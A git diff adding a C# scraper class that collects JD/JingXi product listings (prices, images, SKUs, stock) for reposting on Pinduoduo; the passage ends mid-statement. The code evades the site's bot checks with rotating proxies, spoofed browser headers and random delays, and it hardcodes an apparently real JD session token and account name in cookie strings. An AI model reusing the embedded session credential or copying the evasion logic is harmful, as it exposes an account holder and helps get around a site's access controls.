a/Work/CollectClass/JingXiCollect.cs b/Work/CollectClass/JingXiCollect.cs new file mode 100644 index 0000000..cfa310e --- /dev/null +++ b/Work/CollectClass/JingXiCollect.cs @@ -0,0 +1,1134 @@ +using AllBase; +using AllBase.Helper; +using NaiBa.Util; +using NaiBa.Util.Extension; +using NaiBa.Util.Helper; +using System; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; +using WebSocketSharp; + +namespace Work.CollectClass +{ + + /* + * 调用示例: + ProductCollectBase pb = new ProductCollectBase(); + pb.from_id=132465123; + pb.from_url = "https://item.m.jd.com/product/" + skuID + ".html"; + + JingXiCollect tm = new JingXiCollect(pb); + tm.Get(); + var p = tm.Product; + */ + public class JingXiCollect + { + /// + /// 已经下架的商品集合 + /// + public static List DeleteIds = new List(); + public static bool IsIpOver = false; + public static List listIp = null; + /// + /// 验证码URL,如果有值,代表需要用户输入验证码,进行验证。 + /// + public static string VerifyCodeUrl = ""; + public string Name = "发布商品"; + public bool IsOnSale = true; + public bool IsUseProxy = false;//是否使用代理ip + public bool IsVerify = false; // 京喜采集是否受限 + public ProductCollectBase Product; + public GoodsStatusEnum GoodsStatus = GoodsStatusEnum.NotExist; + + /// + /// 是否使用服务器缓存 + /// + private static bool UseServerCache = true; // 开发专用,当缓存服务器出故障时,设置为false,调试代码专用 + private int IpListCount = 0; + /// + /// 拼购商品拼购价格字典(商品详情中已无拼购价格信息) + /// + private Dictionary dicPinGouPrice = new Dictionary(); + + public JingXiCollect(ProductCollectBase product) + { + this.Product = product; + } + public void Get() + { + this.GoodsStatus = GoodsStatusEnum.NotExist; + + if (JingXiCollect.VerifyCodeUrl.Length > 0) + return; + //判断商品是否下架 + if (JingXiCollect.DeleteIds.Contains(this.Product.from_id)) + { + LogSave.Add(this.Name, "商品已经下架:" + Product.from_id); + IsOnSale = false; + return; + } + //采集历史缓存 + if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id)) + { + this.Product = TaobaoMobileCollect.ProductTemp[Product.from_id].Clone(); + this.GoodsStatus = GoodsStatusEnum.Exist; + return; + } + SkuInfo sm = GetSkuInfo(this.Product.from_id); + if (sm.msg.Contains("404")) + { + JingXiCollect.DeleteIds.Add(this.Product.from_id); + LogSave.Add(this.Name, "商品已经下架:" + Product.from_id); + IsOnSale = false; + return; + } + if (sm.msg.Contains("proxyCount")) + { + JingXiCollect.VerifyCodeUrl = "代理ip已用完"; + return; + } + if (sm.msg.Contains("获取京喜商品详情失败")) + { + this.IsVerify = true; + return; + } + if (sm.msg.Contains("spider_check.shtml")) + { + JingXiCollect.VerifyCodeUrl = sm.msg;//通知前端,当前端收到此信息后,可以弹出验证界面,获取cookie--后续继续验证 + return; + } + + this.Product.id = this.Product.from_id; + this.Product.from_url = "https://item.m.jd.com/product/" + this.Product.from_id + ".html"; + string pName = sm.PName.RemoveSpecialChar(":", ":", "/", "\\", "\"", "?", "✅", "◆", "‼️"); + //【XX进口】【XX直邮】【XX直供】不可以填入商品标题中,请修改后重新操作【XX进口】【XX直邮】【XX直供】不可以填入商品标题中,请修改后重新操作 + //pName = BaseRegex.Relpace(pName, "【.*?】", ""); + this.Product.name = pName;//商品名称 + this.Product.from_title = pName;//商品标题 + this.Product.image = sm.Image;//第一张轮播图 + this.Product.image_from_url = sm.Image;//第一张轮播图 + this.Product.Images = sm.ImageList;//轮播图 + this.Product.content = sm.DetailImageListHTML.Replace("http://img", "//img"); + this.Product.express_price = sm.ExpressPrice;//运费 + this.Product.price = sm.SellPrice;// 售价:如果是拼购的,则是拼购价格;如果没有拼购,则是原价 + this.Product.before_price = sm.BeforePrice;//原价 + this.Product.num = (int)sm.SaleNum;//销量 + this.Product.saleCount = (int)sm.SaleNum;//销量 + this.Product.from_shop_name = sm.ShopName;//店铺名称 + this.Product.discountPrice = sm.PinGouPrice;//折扣价格 + this.Product.discount = sm.PinGouPrice / sm.BeforePrice;//折扣比例:= 折扣价格 / 原价 + this.Product.onlinePrice = Product.discountPrice * Product.shopAddPercent / 100 + new Random(Guid.NewGuid().GetHashCode()).Next((int)(Product.shopAddPriceMin * 100), (int)(Product.shopAddPriceMax * 100)) / 100; + this.Product.state = sm.Province;//省份 + this.Product.city = sm.City;//城市 + this.Product.from_site_id = 4;//京喜,约定的 + this.Product.from = "京喜"; + this.Product.from_name = pName; + //this.Product.VideoId = sm.MainVideoId;//视频ID + this.Product.upShopId = sm.ShopId;//上家ID + this.Product.Prop = sm.Prop;//详情属性 + //现货:33 + //有货:39 or 40 + //预定,采购中:36 + //无货:其他 + if (sm.StockState == 36) + this.Product.logisticsTime = "预售";//发货时间 + //this.Product.main_cat_name = ""; + //Content:正文:包含正文图片:针对img的集合 + //item_size =“” + //item_weight = 1 + if (sm.Categorys.Count > 0) + this.Product.cat1 = sm.Categorys[0]; + if (sm.Categorys.Count > 1) + this.Product.cat2 = sm.Categorys[1]; + if (sm.Categorys.Count > 2) + this.Product.cat3 = sm.Categorys[2]; + if (sm.Categorys.Count > 3) + this.Product.cat4 = sm.Categorys[3]; + if (sm.Categorys.Count > 0) + { + this.Product.main_cid = sm.Categorys[0]; + this.Product.cat_id = sm.Categorys[sm.Categorys.Count - 1]; + this.Product.from_cat_id = sm.Categorys[sm.Categorys.Count - 1]; + } + + this.Product.Props = sm.Props; + //Sku + this.Product.SkuMaps.Clear(); + foreach (var x in sm.SkuDetailList) + { + SkuInfo sku = null; + if (x.skuId == sm.SkuId)//已经获取过了,不必重新获取 + sku = sm; + else + sku = GetSkuInfo(x.skuId); + + if (sku.msg.Contains("spider_check.shtml")) + { + JingXiCollect.VerifyCodeUrl = sku.msg;//通知前端,当前端收到此信息后,可以弹出验证界面,获取cookie--后续继续验证 + return; + } + + this.Product.SkuMaps.Add(new SkuMapBase() + { + name = sku.SkuNameExt, + //nameLite = "",//此处不需要赋值,自动从name进行赋值 + //price = sku.PinGouPrice,//经确认,拼团价为基础价格 2020.6.15 + price = sku.SellPrice,//经确认,拼团价为基础价格 2020.6.15 + number = (sku.StockStateName == "无货" ? 0 : sku.StockNumber), //new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000),//库存 + before_price = sku.BeforePrice, + sale_count = (int)sku.SaleNum, + //online_price = (int)sku.BeforePrice,//单买价 + //new_price = (int)sku.PinGouPrice,//团购价 + prop_image = sku.Image + }); + } + + ///拼多多只支持2级属性,所以,要将多余2级的属性转换到2级 + ///参考:淘宝上拼多多的方式:做减法 + if (this.Product.Props.Count > 2)//2级以内属性 + { + //处理Props:参考淘宝的做法,取属性个数最多的两个Prop + this.Product.Props = sm.Props.OrderByDescending(u => u.Values.Count).ToList(); + this.Product.Props.RemoveRange(2, this.Product.Props.Count - 2); + //将多余的SkuMaps删除 + List skuMaps = new List(this.Product.SkuMaps); + this.Product.SkuMaps.Clear(); + for (int i = 0; i < skuMaps.Count; i++) + { + + SkuMapBase sku = skuMaps[i]; + List listName = new List(); + string[] arrsku = sku.name.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var str in arrsku) + { + string propNames = str.Split(':')[0]; + if (this.Product.Props.Exists(o => o.name == propNames)) + listName.Add(str); + } + //修改name:将蝶羽白;全网通(6GB 128GB);官方标配 ==>蝶羽白;全网通(6GB 128GB) + sku.name = string.Join(";", listName); + if (!this.Product.SkuMaps.Exists(o => o.name == sku.name)) + this.Product.SkuMaps.Add(sku); + } + } + + foreach (var p in Product.Props) + { + if (sm.Props.Any(pr => pr.name == "颜色")) + { + if (p.name == "颜色") + { + foreach (var v in p.Values) + { + var sku = Product.SkuMaps.FirstOrDefault(s => (s.name + ";").Contains(":" + v.name + ";")); + if (sku != null) + { + v.image = sku.prop_image; + } + } + } + else + continue; + } + else + { + foreach (var v in p.Values) + { + var sku = Product.SkuMaps.FirstOrDefault(s => (s.name + ";").Contains(":" + v.name + ";")); + if (sku != null) + { + v.image = sku.prop_image; + } + } + + break; + } + } + + //采集历史缓存集合 + if (TaobaoMobileCollect.ProductTemp.Count > 1000)//删除最早的一条记录 + { + var v = TaobaoMobileCollect.ProductTemp.First(); + TaobaoMobileCollect.ProductTemp.Remove(v.Key); + } + if (TaobaoMobileCollect.ProductTemp.ContainsKey(this.Product.from_id)) + TaobaoMobileCollect.ProductTemp.Remove(this.Product.from_id); + TaobaoMobileCollect.ProductTemp.Add(this.Product.from_id, this.Product); + //所有采集完毕,标识商品有货,可用 + this.GoodsStatus = GoodsStatusEnum.Exist; + + } + + public static string requestJDCom(string url, string refere, bool isUtf8, string data, string agentIp, string sCookies = "") + { + try + { + string domain = GetHtml.GetDomain(url); + string mainDomain = GetHtml.GetMainDomain(domain); + string cookies = sCookies; + if (sCookies.Length == 0) + { + if (BaseClass.CookiesAllString.ContainsKey(mainDomain)) + cookies = BaseClass.CookiesAllString[mainDomain]; + else if (BaseClass.CookiesAllString.ContainsKey(domain)) + cookies = BaseClass.CookiesAllString[domain]; + } + string userAgent = BaseClass.ChromeUserAgent; + userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"; + AllBase.WebClientx wb = new AllBase.WebClientx(); + wb.Timeout = 30; + wb.AllowAutoRedirect = true; + wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); + //wb.Headers.Add("X-Requested-With", "XMLHttpRequest"); + wb.Headers.Add("Accept-Encoding", "gzip,deflate"); + wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + wb.Headers.Add("User-Agent", userAgent); + if (!string.IsNullOrEmpty(refere)) + wb.Headers.Add("Referer", refere); + if (!string.IsNullOrEmpty(cookies)) + wb.Headers.Add("Cookie", cookies); + wb.Proxy = null; + + if (!string.IsNullOrEmpty(agentIp)) + { + WebProxy proxy = new WebProxy(); + proxy.Address = new Uri(string.Format("http://{0}:{1}", agentIp.Split(':')[0], agentIp.Split(':')[1])); + wb.Proxy = proxy; + } + string rehead = wb.Headers.ToString(); + var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk"); + byte[] b, postData = data == null ? new byte[0] : encode.GetBytes(data); + string html, head; + try + { + if (string.IsNullOrEmpty(data)) + { + b = wb.DownloadData(url); + } + else + { + wb.Headers.Add("Content-Type", "application/x-www-form-urlencoded"); + wb.Headers.Add("ContentLength", postData.Length.ToString()); + b = wb.UploadData(url, "POST", postData); + } + html = encode.GetString(b); + + string c = BaseRegex.GetMatchRegexString(wb.ResponseHeaders["Content-Type"], "charset\\s*=\\s*(\\S+)"); + if (!string.IsNullOrEmpty(c)) + { + c = c.Trim().ToLower().Replace("utf8", "utf-8"); + } + if (string.IsNullOrEmpty(c)) + c = BaseRegex.GetMatchRegexString(html, @"]*?charset=[""']*([\w-]+)[""']*"); + if (!string.IsNullOrEmpty(c)) + { + if (c.IndexOf("'") > -1) + c = c.Substring(0, c.IndexOf("'")); + if (c.IndexOf("\"") > -1) + c = c.Substring(0, c.IndexOf("\"")); + if (c.IndexOf(" ") > -1) + c = c.Substring(0, c.IndexOf(" ")); + if (c.IndexOf(">") > -1) + c = c.Substring(0, c.IndexOf(">")); + if (!string.IsNullOrEmpty(c)) + html = Encoding.GetEncoding(c).GetString(b); + } + head = wb.ResponseHeaders.ToString(); + } + catch (Exception ee) + { + html = "提交错误:" + ee.Message; + head = ""; + } + return GetHtml.Decode(html); + } + catch (Exception e) + { + LogSave.Add("访问网址错误:" + url + " " + e.Message); + return ""; + } + } + + private static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + private string Request_m_jingxi_com(string url, string refer, string cookies) + { + HttpWebResponse response = null; + string responseText = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://m.jingxi.com/pingou_api/getskusprice?skuids=66516696547,66516696549,66516696551,66516696553,66516696555,66516696557,66516696559,66516696560,66516696561,66516696562,66516696563,66516696564,10026355267735,10026355267736,10026355267737,10026355267738,10026355267739"); + + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0"); + request.Headers.Add("sec-ch-ua", @""" Not;A Brand"";v=""99"", ""Google Chrome"";v=""91"", ""Chromium"";v=""91"""); + request.Headers.Add("sec-ch-ua-mobile", @"?0"); + request.Headers.Add("Upgrade-Insecure-Requests", @"1"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"; + request.Headers.Add("Sec-Fetch-Site", @"none"); + request.Headers.Add("Sec-Fetch-Mode", @"navigate"); + request.Headers.Add("Sec-Fetch-User", @"?1"); + request.Headers.Add("Sec-Fetch-Dest", @"document"); + if (!string.IsNullOrEmpty(refer)) + request.Referer = refer; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + //request.Headers.Set(HttpRequestHeader.Cookie, @"webp=1; mba_muid=1620291779033615364177; 3AB9D23F7A4B3C9B=IIBLOQ4IFTT367KU2NCECZAFXTVCN7AYLXSIP3HZSBOMBKQXGQTJFDGRW5JWCEU377HKC5C5HJQRHJJC3D5ZASWFTE; shshshfpb=boDuOdz%20%2FGt9KQ74G6vTQmA%3D%3D; shshshfpa=5d4141ae-427a-678c-4712-9baed34739a1-1599815587; visitkey=31617493194533400; retina=0; deviceVersion=91.0.4472.114; equipmentId=IIBLOQ4IFTT367KU2NCECZAFXTVCN7AYLXSIP3HZSBOMBKQXGQTJFDGRW5JWCEU377HKC5C5HJQRHJJC3D5ZASWFTE; fingerprint=3554b07451d83da66d73db4c41f0feaf; deviceName=Chrome; deviceOS=; deviceOSVersion=; sc_width=1920; autoOpenApp_pgDownCloseDate_auto=1624939789383_21600000; shshshfp=587434f372f9b93d7f1fdb2094808628; warehistory=""70742086787,""; wxmall_ptype=2; cid=3; __jdv=122270672%7Cdirect%7Ct_1000072676_17008_001%7Cshouq%7C-%7C1625192682227; __jda=122270672.15940195332131193805118.1594019533.1624948496.1625192682.150; __jxjda=76161171.15940195332131193805118.1594019533.1624948498.1625192682.151; sbx_hot_h=null; __wga=1625192761948.1625192682221.1624948498385.1620295125422.5.7; PPRD_P=UUID.15940195332131193805118-LOGID.1625192762279.162952430-EA.17008.1.14-CT.138631.1.3; wq_prior=5; wq_ug=14; pin=%E6%AE%BF%E6%95%8F%E5%AE%B6%E5%B1%85%E6%97%A5%E7%94%A8%E6%8B%BC%E8%B4%AD%E5%BA%97; unick=%E6%AE%BF%E6%95%8F%E5%AE%B6%E5%B1%85%E6%97%A5%E7%94%A8%E6%8B%BC%E8%B4%AD%E5%BA%97; thor=1BAE23EC9D9791A1474EC42D7F7F8C83B7231A71F615C334906B0C3758FA60CABDE9502205933B0331B61610000AF0F9D0125204144AA5AB85D21A72BD6584849C2900A7B54574A9DC4A0DB96997B6C6909A236512E657BF74EA85E8CD750D055C6EACA03A7A45A03A801C2AB8EC11C78BB83B2E1736FF837978DA5B46D1DC999478FBA07B98566A44F74DBD9974339C"); + if (!string.IsNullOrEmpty(cookies)) + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return e.Message; + } + catch (Exception ex) + { + if (response != null) response.Close(); + return ex.Message; + } + + responseText = ReadResponse(response); + response.Close(); + return responseText; + } + + + private string getSkuHtml(long skuid, ref bool canUse) + { + ///获取html数据,获取途径: + ///1,服务器缓存html + ///2,直接获取html + canUse = false; + string html = ""; + if (JingXiCollect.UseServerCache) + html = ServerTemp.Get(5, skuid.ToString(), out canUse); + string url = "https://item.m.jd.com/item/mview2?datatype=1&callback=skuInfoCBC&cgi_source=mitem&sku=" + skuid; + string refer = "https://item.m.jd.com/product/" + skuid + ".html"; + refer = ""; + if (!canUse) + { + html = ""; + //html = AllBase.GetHtml.GetUtf8(url, AllBase.BaseClass.ChromeUserAgent); + if (!IsUseProxy) + { + html = Work.GetPostTaobaoHtml.GetUrl(url, refer, false, ""); + System.Threading.Thread.Sleep(Randomx.GetId(1000, 2000)); + } + + string redirect_Url = AllBase.BaseRegex.GetStringJson(ref html, "redirectUrl"); + if (redirect_Url != null && redirect_Url.Length > 0 && !IsUseProxy) + { + refer = "https://wqs.jd.com/"; + refer = ""; + url = "https://m.jingxi.com/item/view?_fd=jdm&sku=" + skuid + "&mitemdomain=item.m.jd.com&datatype=1&callback=skuInfoCBC&cgi_source=mitem"; + var htmlx = Work.GetPostTaobaoHtml.GetUrl(url, refer, false, ""); + System.Threading.Thread.Sleep(Randomx.GetId(1000, 2000)); + var htmlData = BaseRegex.GetMatchMaxRegexString(ref htmlx, "window._itemInfo = \\(([\\s\\S]+?)"); + if (!string.IsNullOrEmpty(htmlData) && htmlData.Contains("\"skuId\":\"" + skuid + "\"")) + { + html = "skuInfoCBC(" + htmlData.Trim(' ', '\n', '\r', ';', 'r') + ")"; + } + else + { + //html = "获取京喜商品详情失败"; + this.IsVerify = true; + } + } + } + string skuInfoCBC = "" + BaseRegex.GetMatchRegexString(ref html, "skuInfoCBC\\((\\{[\\w\\W]*\\})\\)"); + //redirectUrl: "//m.jd.com/404.htm?errcode=10001" + string redirectUrl = "" + AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "redirectUrl"); + string errCode = "" + AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "errCode"); + if ((string.IsNullOrEmpty(html) || !string.IsNullOrWhiteSpace(redirectUrl) || errCode == "20001") && IsUseProxy) // 请求出现验证的时候 并且使用代理 + { + if (listIp != null && listIp.Count > IpListCount && listIp[IpListCount] != null) + { + html = requestJDCom(url, refer, false, "", listIp[IpListCount]); + skuInfoCBC = BaseRegex.GetMatchRegexString(ref html, "skuInfoCBC\\((\\{[\\w\\W]*\\})\\)"); + redirectUrl = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "redirectUrl"); + if (string.IsNullOrEmpty(redirectUrl) && html.Contains("提交错误")) + { + LogHelper.WriteWithTime(" 代理ip:" + listIp[IpListCount] + "请求失败" + html); + } + else + { + LogHelper.WriteWithTime(" 代理ip:" + listIp[IpListCount] + "redirectUrl参数:" + redirectUrl); + } + } + } + return html; + } + + + /// + /// 根据获取到的html 读取sku + /// + /// + /// + private SkuInfo GetSkuInfo(long skuid) + { + int getHtmlCount = 0; + reGetHtml: + SkuInfo sku = new SkuInfo(); + if ((listIp == null || listIp.Count == 0) && IsUseProxy) + { + bool bo = false; + listIp = BLL.Collect.PddSameScreeningBLL.InitIp(GetProxyHtml.txtUrl, out bo); + if (bo) + { + IsIpOver = true; + sku.msg = "请检查ip套餐是否过期"; + } + } + bool canUse = false; + var html = getSkuHtml(skuid, ref canUse); + if (html == "获取京喜商品详情失败") + { + sku.msg = "获取京喜商品详情失败"; + } + sku.SkuId = skuid; + string skuInfoCBC = "" + BaseRegex.GetMatchRegexString(ref html, "skuInfoCBC\\((\\{[\\w\\W]*\\})\\)"); + //redirectUrl: "//m.jd.com/404.htm?errcode=10001" + if (string.IsNullOrEmpty(skuInfoCBC) && html.Contains("window._itemInfo = ")) + { + var htmlData = BaseRegex.GetMatchMaxRegexString(ref html, "window._itemInfo = \\(([\\s\\S]+?)"); + if (!string.IsNullOrEmpty(htmlData) && htmlData.Contains("\"skuId\":\"" + skuid + "\"")) + { + skuInfoCBC = "skuInfoCBC(" + htmlData.Trim(' ', '\n', '\r', ';', 'r') + ")"; + } + } + string redirectUrl = "" + AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "redirectUrl"); + if (string.IsNullOrEmpty(sku.msg) && !string.IsNullOrEmpty(redirectUrl)) + sku.msg = redirectUrl; + if (html.Contains("提交错误") && getHtmlCount <= 10) + { + getHtmlCount++; + if (listIp.Count > IpListCount) + listIp.RemoveAt(IpListCount); + goto reGetHtml; + } + if (html.Contains("该商品已下架")) + { + sku.msg = "404"; + return sku; + } + if (sku.msg.Length > 0 && IsUseProxy && getHtmlCount <= 10)//取不到值 并且是代理的情况下 + { + getHtmlCount++; + if (listIp.Count > IpListCount) + listIp.RemoveAt(IpListCount); + goto reGetHtml; + } + if (sku.msg.Length > 0) + return sku; + + sku.SkuName = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "skuName"); + sku.PName = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "pName"); + sku.Image = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "image")?.Replace("\\x2F", "/").Replace("!q80.dpg.webp", ""); + if (string.IsNullOrEmpty(sku.Image)) + { + var img = BaseRegex.GetMatchRegexString(ref skuInfoCBC, "\"image\":\\[([\\s\\S]+?)\\],"); + if (!string.IsNullOrEmpty(img)) + img = img.Split(',')[0].Trim('"'); + sku.Image = "//m.360buyimg.com/mobilecms/s750x750_" + img; + } + sku.BrandName = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "brandName"); + sku.BrandId = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "brandId"); + + sku.PromiseMark = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "promiseMark"); + sku.StockState = AllBase.BaseRegex.GetIntJson(ref skuInfoCBC, "StockState"); + sku.StockStateName = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "StockStateName"); + sku.StockNumber = AllBase.BaseRegex.GetIntJson(ref skuInfoCBC, "eb"); + sku.ShopName = AllBase.BaseRegex.GetStringJson(ref html, "vender"); + sku.ShopId = AllBase.BaseRegex.GetMatchMaxRegexString(ref html, "\"deliver\":\".+?\",\"id\":(\\d+)").ParseToLong(); + sku.Deliver = AllBase.BaseRegex.GetStringJson(ref html, "deliver"); + sku.DeliverAddress = AllBase.BaseRegex.GetStringJson(ref html, "df"); // + sku.MainVideoId = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "mainVideoId"); //208594505 + sku.ExpressPrice = AllBase.BaseRegex.GetIntJson(ref html, "dcash"); //0 + sku.Prop = GetSpecification(skuid); //0 + string description = AllBase.BaseRegex.GetStringJson(ref html, "description"); //d14676910654 + sku.DetailImageList = GetDetailImageList(skuid, description); + sku.DetailImageList.ForEach(s => + { + sku.DetailImageListHTML += ""; + }); + + KeyValueBase city = GetProvince_City(sku.DeliverAddress); + sku.Province = city.Value;//省份 + sku.City = city.Key;//城市 + //sku.ImageList + string skuInfoCBC_image = AllBase.BaseRegex.GetMatchRegexString(skuInfoCBC, "\\\"image\\\":\\[([\\w\\W]+?)]"); //"jfs/t1/112057/35/11816/136894/5f02c690Ef42f3746/f0c2d6365e028db7.jpg","jfs/t1/148525/31/2184/264063/5f02c685E427bd5c4/1f68bac7953fb631.jpg","jfs/t1/119092/12/11639/206907/5f02c685Ea46ebbfb/10c636358954a177.jpg","jfs/t1/121822/14/6363/214792/5f02c686Ea06c2de9/4f93b4878596a225.jpg","jfs/t1/117172/7/11523/199385/5f02c686E9e1163d4/eada4b07f5fa2759.jpg","jfs/t1/116907/29/11607/208292/5f02c687Ef7079f1b/dc24acfd8b6fd2fc.jpg","jfs/t1/121655/30/6391/182266/5f02c687E7219652e/c18b7cb772e87d7c.jpg","jfs/t1/118719/11/11664/194853/5f02c687Eceeb21a7/910afece15570ce9.jpg","jfs/t1/143578/32/2242/221134/5f02c688E1830c8e9/7c399c424fe58509.jpg","jfs/t1/116031/38/11700/152479/5f02c689Ec4f9cdd6/9d949560bd3788aa.jpg" + if (skuInfoCBC_image != null) + { + new List(skuInfoCBC_image.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries)).ForEach(s => + { + sku.ImageList.Add("https://m.360buyimg.com/ceco/" + s.Replace("\"", "")); + }); + } + + //sku.SkuDetailList + var skuInfoCBC_newColorSize = AllBase.BaseRegex.GetMatchRegex(html, "\\{(\\\"dim\\\":[\\s\\S]+?)\\}");// 出现 + if (skuInfoCBC_newColorSize.Count == 0) + skuInfoCBC_newColorSize = BaseRegex.GetMatchRegex(html, "\\{(\\\"sequenceNo2\\\":[\\s\\S]+?)\\}"); + foreach (Match m in skuInfoCBC_newColorSize) + { + string item = m.Value; + SkuInfo.SkuInfoDetail detail = new SkuInfo.SkuInfoDetail() //{"dim":3,"sequenceNo1":"12","sequenceNo2":"1","sequenceNo3":"0","1":"小款变形手表(绿巨人)","2":"均码","3":"","SpecName":"","skuId":"71389595614"} + { + skuId = AllBase.BaseRegex.GetLongJson(ref item, "skuId"), //"小款变形手表(绿巨人)" + Prop1 = AllBase.BaseRegex.GetStringJson(ref item, "1"), //"均码" + Prop2 = AllBase.BaseRegex.GetStringJson(ref item, "2"), //"" + Prop3 = AllBase.BaseRegex.GetStringJson(ref item, "3") //71389595614 + }; + sku.SkuDetailList.Add(detail); + } + + // 获取价格(因原接口无法获取拼购价,需要使用sku列表获取单独的拼购价格,将价格获取放到sku列表获取后) + sku.BeforePrice = BaseRegex.GetDecimalJson(ref skuInfoCBC, "op");//原价 + sku.PinGouPrice = BaseRegex.GetDecimalJson(ref skuInfoCBC, "bp");//拼购价 + + // 获取所有sku的拼购价格 + if (sku.PinGouPrice == 0 && dicPinGouPrice.Keys.Count == 0) + { + if (BaseClass.UserName == "18355183710") + FileBase.WriteAllText("pingou_html.txt", "pingou_info: "); + //var shops = GlobalConfig.JDShopLoginList.Where(s => s.LoginStatus == "登录成功").ToList(); + //var shop = shops.Count > 0 ? shops[Randomx.GetId(shops.Count)] : new LittleCow.Model.Result.JDShopLoginInfo() + //{ + // Cookies = @"1BAE23EC9D9791A1474EC42D7F7F8C83B7231A71F615C334906B0C3758FA60CABDE9502205933B0331B61610000AF0F9D0125204144AA5AB85D21A72BD6584849C2900A7B54574A9DC4A0DB96997B6C6909A236512E657BF74EA85E8CD750D055C6EACA03A7A45A03A801C2AB8EC11C78BB83B2E1736FF837978DA5B46D1DC999478FBA07B98566A44F74DBD9974339C", + //}; + var Cookies = @"1BAE23EC9D9791A1474EC42D7F7F8C83B7231A71F615C334906B0C3758FA60CABDE9502205933B0331B61610000AF0F9D0125204144AA5AB85D21A72BD6584849C2900A7B54574A9DC4A0DB96997B6C6909A236512E657BF74EA85E8CD750D055C6EACA03A7A45A03A801C2AB8EC11C78BB83B2E1736FF837978DA5B46D1DC999478FBA07B98566A44F74DBD9974339C"; + string skuIdStr = ""; + for (int i = 0; i < sku.SkuDetailList.Count; i++) + { + skuIdStr += sku.SkuDetailList[i].skuId + ","; + if ((i + 1) % 20 == 0 || i == sku.SkuDetailList.Count - 1) + { + //var cookie = shop.Cookies; + var cookie = Cookies; + string url = "https://m.jingxi.com/pingou_api/getskusprice?skuids=" + skuIdStr.TrimEnd(','); + string refer = ""; + var pingouHtml = GetPostTaobaoHtml.GetUrl(url, refer, false, "", cookie); + if (BaseClass.UserName == "18355183710") + FileBase.AppendAllText("pingou_html.txt", pingouHtml); + System.Threading.Thread.Sleep(Randomx.GetId(500, 1500)); + if (string.IsNullOrEmpty(pingouHtml) || !pingouHtml.Contains("\"bp\"") || !pingouHtml.Contains("\"op\"") || !pingouHtml.Contains("\"id\"")) + pingouHtml = GetPostTaobaoHtml.GetUrl(url, refer, false, "", cookie); + System.Threading.Thread.Sleep(Randomx.GetId(500, 1500)); + if (!string.IsNullOrEmpty(pingouHtml)) + { + var pingouArr = pingouHtml.Split('{'); + foreach (var txt in pingouArr) + { + var t = txt; + if (txt.Contains("\"bp\"") && txt.Contains("\"op\"") && txt.Contains("\"id\"")) + { + var pingou_id = BaseRegex.GetStringJson(ref t, "id"); + var pingou_bp = BaseRegex.GetStringJson(ref t, "bp"); + this.dicPinGouPrice[pingou_id] = pingou_bp; + } + } + } + skuIdStr = ""; + } + } + } + if (sku.PinGouPrice == 0 && dicPinGouPrice.ContainsKey(sku.SkuId.ToString())) + { + sku.PinGouPrice = dicPinGouPrice[sku.SkuId.ToString()].ParseToDecimal(); + if (sku.PinGouPrice > 0 && !html.Contains("\"bp\"") && html.Contains("\"op\"")) + { + //canUse = false; + html = html.Replace("\"op\"", "\"bp\":\"" + dicPinGouPrice[sku.SkuId.ToString()] + "\",\"op\""); + } + } + if (sku.PinGouPrice > 0)//有拼购,销售价格为拼购价格 + { + sku.SellPrice = sku.PinGouPrice; + sku.SaleNum = this.GetPinTuanCount(sku.SkuId);//获取拼团的销量 + //string pingou_member_count = AllBase.BaseRegex.GetStringJson(ref skuInfoCBC, "pingou_member_count"); + //sku.SaleNum = this.Unit_Conversion(pingou_member_count); + } + else//没有拼购,则销售价格为市场价格 + { + sku.SellPrice = AllBase.BaseRegex.GetDecimalJson(ref skuInfoCBC, "p");//市场价 + sku.SaleNum = this.GetGoodCount(sku.SkuId);//获取单购的销量 + } + + //sku.Categorys + string category = AllBase.BaseRegex.GetMatchRegexString(ref skuInfoCBC, "category\":\\[(.+?)\\]"); //"1672","2599","5266" + if (!category.IsNullOrEmpty()) + { + new List(category.Split(new string[] { ",", "\"" }, StringSplitOptions.RemoveEmptyEntries)).ForEach(s 